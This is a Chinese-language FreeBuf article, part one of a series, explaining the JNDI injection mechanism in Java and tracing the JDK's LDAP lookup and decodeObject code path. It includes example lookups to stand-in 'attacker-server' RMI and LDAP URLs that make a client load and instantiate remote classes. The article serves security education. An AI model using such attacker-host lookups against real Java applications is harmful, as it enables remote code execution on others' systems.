freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JNDI的基础利用总结(上篇)
2023-03-28 17:13:08
所属地 四川省

ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码

JNDI常见sink点

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory env.put(Context.PROVIDER_URL, "rmi://host:8080"); Context ctx = new InitialContext(env); Object local_obj = ctx.lookup("rmi://host:8080/test");

注:InitialContext 是一个实现了 Context接口的类。使用这个类作为JNDI命名服务的入口点。创建InitialContext 对象需要传入一组属性,参数类型为java.util.Hashtable或其子类之一。

这里的意思就是说当我们执行InititalContext.lookup(evil_input)时,这个恶意输入可以覆写上文的值,从而在我们的恶意服务器执行lookup操作,这里我们通过让恶意rmi服务器返回一个恶意的Reference,在客户端收到后

使用ObjectFactory对拿到的引用对象执行实例化因而RCE

JNDI漏洞利用分析

什么是JNDI

The Java Naming and Directory InterfaceTM (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the JavaTM programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories--new, emerging, and already deployed--can be accessed in a common way.

JNDI中涉及的概念

JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

Naming Service:命名服务是将名称与值相关联的实体,称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。例如上面说到的RMI Registry就是使用的Naming Service。

Directory Service :是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息。下面说到的LDAP就是目录服务。

几个重要的JNDI概念

  • 原子名是一个简单、基本、不可分割的组成部分

  • 绑定是名称与对象的关联,每个绑定都有一个不同的原子名

  • 复合名包含零个或多个原子名,即由多个绑定组成

  • 上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名

  • 命名系统是一组关联的上下文

  • 名称空间是命名系统中包含的所有名称

  • 探索名称空间的起点称为初始上下文

  • 要获取初始上下文,需要使用初始上下文工厂

使用JNDI的好处 :

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的 JNDI动态协议转换 。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

Naming是个什么东西

简单来说Naming类提供了方法来存储和获取远程对象在远程对象注册中心(registery)的引用(reference)。Naming类中的每个方法都会接受一个名为Name的String类型参数,Name这个参数是一个URL格式的字符串但是不带有scheme(//host:port/name)。其中的host就是远程或者本地的注册中心所在的host。不指定的话默认为localhost,端口不指定的话默认就是1099(一般是RMI端口)。

对于更抽象一点的javax.naming包来说,naming包提供了用于访问naming服务的相关类和接口

javax.naming中的Context接口

在naming包中存在Context,context这个概念,context由一组名字和对象的绑定组成。Context是执行lookup binding unbinding renaming对象中的核心接口。

就拿lookup()这个操作来说,你给lookup方法传入一个名字,那么就会返回与这个名字相绑定的对象,例如

Printer printer = (Printer)ctx.lookup("treekiller"); printer.print(report);

javax.naming中的Name接口

在Context接口中的所有naming方法,都有两个方法重载,一个是接受一个Name作为参数,另一个接受一个string作为参数。

Name是一个接口,代表了一个宽泛的name概念,也就是一个有序的由0个或多个组件构成的。对于Context中的naming方法,这个Name就可以被用于表示复合名称,因此可以给一个Object命名一个跨越多个namespace的名称。

对于这两个方法重载,接受Name参数的方法重载对于需要对名称进行操作的场景会比较有用,例如组合,比较等等。而接受string作为参数的则对于简单应用来说用的更多,尤其是在仅仅只是想读取名称,或者根据名称去lookup一个对应对象的场景下。

javax.naming中的binding类

Binding类代表了一个名称与对象间的绑定,他是一个包含了命名,被绑定对象的类名,和被绑定对象本身的元组。

这个Binding类其实是NameClassPair的子类,而NameClassPair仅仅包含了命名和对象的类名。NameClassPair在你仅仅想要拿到objcet信息的时候很有用,因为这样你就不必花费额外支持来去获取用不到的这个object本身。

javax.naming中的reference类

对象会以不同形式被存储在命名和目录服务中。如果object存储方支持存储java对象,那么他就可能会去以这个object的序列化形式去存储这个object。然而有的命名和目录服务可能不是java写的或者不支持以序列化形式存储这个object。同时,对于目录中的一些object,不单单是Java而是一组应用会去访问这些object,在这种场景下,一个序列化的java object也许就不是最合适的表现方式了。 JNDI中定义的reference,就由Reference类去表示,其中包含了如何重建一个相同object的拷贝的信息。 JNDI将会去尝试,把lookup拿到的reference去转换成其所代表的java object。这样对于JNDI的客户端来说,具体的存储 转换细节就会被屏蔽,对于客户端来说目录中存放的就是java object。

javax.naming中的InitialContext类

在JNDI中,所有的命名和目录操作都是在一个相对的context场景下完成的。InitialContext为这些操作提供了一个初始点,一旦拿到一个initial context,就可以去lookup其他的context和object

JNDI范例

JNDI与RMI配合使用:

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(env); //将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定 ctx.bind("refObj", new RefObject()); //通过名称查找对象 ctx.lookup("refObj");

JNDI与LDAP配合使用:

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); //通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

上面的两个例子都手动设置了对应服务的工厂以及对应服务的PROVIDER_URL,但是JNDI是能够进行动态协议转换的。

例如:

Context ctx = new InitialContext(); ctx.lookup("rmi://attacker-server/refObj"); //ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org"); //ctx.lookup("iiop://attacker-server/bar");

上面没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。

再如下面的:

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(env); String name = "ldap://attacker-server/cn=bar,dc=test,dc=org"; //通过名称查找对象 ctx.lookup(name);

即使服务端提前设置了工厂与PROVIDER_URL也不要紧,如果在lookup时参数能够被攻击者控制,同样会根据攻击者提供的URL进行动态转换。

JNDI原理探索

为什么JNDI可以被利用,我们先拿一个典型的恶意利用sink点作为样例进行分析

import javax.naming.Context; import javax.naming.InitialContext; public class main { public static void main(String[] args) throws Exception{ Context context = new InitialContext(); context.lookup("ldap://host:1389/SimpleCommand"); } }

在不传入env来指定ContextFactory时,initialContext()是怎么决定用什么处理查询内容的

这里细分到底用哪个context去lookup时调用了函数getURLOrDefaultInitCtx()方法,并且把传入的查询字符串传入作为参数。

上面那个getDefaultInitCtx默认是null,不用管。这里我们传入的URL被解析出scheme为ldap。接着便会根据这个scheme尝试去从NamingManager中拿对应的URLContext,这里的myProps就是我们构造InitialContext时传入的env HashTable经过处理后存储的内容,此处因为没传入env,所以为null

继续跟进Context ctx = NamingManager.getURLContext(scheme, myProps);

这一步便会决定到底用啥解析传入的lookup的url,这里根据预先定义的常量和传入的scheme,调用对应的Factory

确定加载的类名

经过逐级返回回到最初点

最终我们执行lookup的context便是ldapURLContext

决定执行查询的Context后lookup的逻辑又是怎么样的

这里不允许我们的query中含有?判断后如果符合要求不含?则调用父类GenericURLContext中的lookup方法

这里进一步对我们传入lookup进行查询的参数进行更细致的解析

解析后结果为LdapCtx,和一个CompositeName也就是SimpleCommand

JNDI注入核心点,java的JNDI是如何处理恶意查询结果的

紧接着调用LdapCtx中的lookup,本类没有,经过查找父类ComponentDirContext -> PartialCompositeDirContext -> PartialCompositeDirContext -> AtomicContext -> ComponentContext -> PartialCompositeContext

调用ComponentContext中的p_lookup()方法

再调用LdapCtx中的c_lookup,这里便是处理具体的ldap协议栈的逻辑部分

这里对var1也就是SimpleCommand进行了查询,观察到ldap服务端检测到客户端请求

查询后便会返回LdapResult

返回结果比较有意思的就是entries中的LdapEntry了

一般正常完成查询他的状态码应该为0

这里对entry做一些处理拿到其中的属性attribute,存入var4

这里便会处理返回结果中的entry。一切的前提条件都是javaClassName属性不为空

其中值得关注的点便是JAVA_ATTRIBUTE常量数组

也就是所谓的javaClassName或者说CLASSNAME

此处显然就是指SimpleCommand这个类

这里先拿codebase, 也就是恶意的远程codebase

此处为核心点把这个方法拿出来分析


static Object decodeObject(Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); try { Attribute var1; if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { ClassLoader var3 = helper.getURLClassLoader(var2); return deserializeObject((byte[])((byte[])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException(); var4.setRootCause(var5); throw var4; } }

  • 先拿codebase

  • 看看返回的数据里有没有序列化数据有序列化数据则进行反序列化

  • 如果没得序列化数据 那就看看返回的数据里有没有javaRemoteLocation,有的话decodeRmiObject

  • 如果又没有序列化数据 又没有javaRemoteLocation 那么就看看老本行objectClass

  • 首先把objectClass给取出来看看为不为空,为空的话就啥都不做了直接返回,如果不为空则继续判断包含javanamingreference,大小写都判断下,假如ObjectClass中确确实实包含javaNamingReference,那么我们就去decode这个reference然后把decode的结果返回

结语

在这篇文章,我们简单对JNDI注入的原理进行了分析,对JAVA中的JNDI机制有了更深入的理解,在接下来的文章中将会结合常见的三种JNDI利用场景对他们进行更具体的分析。

# 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录